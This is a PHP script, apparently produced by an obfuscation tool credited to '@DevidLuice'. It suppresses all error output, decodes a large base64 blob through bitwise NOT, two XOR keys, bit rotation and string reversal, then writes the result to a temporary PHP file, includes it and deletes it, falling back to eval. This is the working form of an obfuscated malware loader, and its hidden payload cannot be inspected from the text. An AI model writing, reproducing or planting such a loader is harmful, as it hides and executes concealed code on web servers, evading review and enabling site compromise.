<?php
// Generated by @DevidLuice
error_reporting(0);
@ini_set('display_errors', 0);

$ZyxXMkPJ = array('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', 'SkREcVRATwFSodw=');
$mfMpbWQ = '5fef9011fe9938dd30a59a11d3f8af5f'; // hex
$XQciJrm = '1323c435aad8385bbb050de5887f3b19'; // hex
$jOQxsYcI = 3; // rotate amount


function GtyLSmtEpC($arr) {
    return base64_decode(implode('', $arr));
}

function nrzJjimwm($data, $hexkey) {
    // hexkey -> raw bytes
    $k = hex2bin($hexkey);
    $out = '';
    $klen = strlen($k);
    $dlen = strlen($data);
    for ($i=0; $i<$dlen; $i++) {
        $out .= chr(ord($data[$i]) ^ ord($k[$i % $klen]));
    }
    return $out;
}

function AKGmyVnBg($data, $n, $dir = 'r') {
    // rotate each byte right (dir='r') or left (dir='l') by n
    $out = '';
    $dlen = strlen($data);
    for ($i=0; $i<$dlen; $i++) {
        $b = ord($data[$i]) & 0xFF;
        if ($dir === 'r') {
            $b = (($b >> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF;
        } else {
            $b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF;
        }
        $out .= chr($b);
    }
    return $out;
}

function HmQNpOTowu($fname, $payload) {
    $tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php';
    if (@file_put_contents($tmp, $payload) !== false) {
        @chmod($tmp, 0640);
        if (@rename($tmp, $fname)) {
            @include_once($fname);
            return true;
        }
    }
    @file_put_contents($fname, $payload);
    @include_once($fname);
    return true;
}

// --- decode ---
try {
    $enc = GtyLSmtEpC($ZyxXMkPJ);
    $s = '';
    for ($i=0;$i<strlen($enc);$i++) { $s .= chr((~ord($enc[$i])) & 0xFF); }
    $s = nrzJjimwm($s, $XQciJrm);
    $s = AKGmyVnBg($s, $jOQxsYcI, 'r');
    $s = strrev($s);
    $s = nrzJjimwm($s, $mfMpbWQ);

    // try safe temp include then eval fallback
    $tmp = sys_get_temp_dir() . '/' . uniqid('p', true) . '.php';
    if (@file_put_contents($tmp, $s) !== false) {
        @include_once($tmp);
        @unlink($tmp);
        exit;
    }
    @eval($s);
    exit;

} catch (Exception $e) { exit; }
?>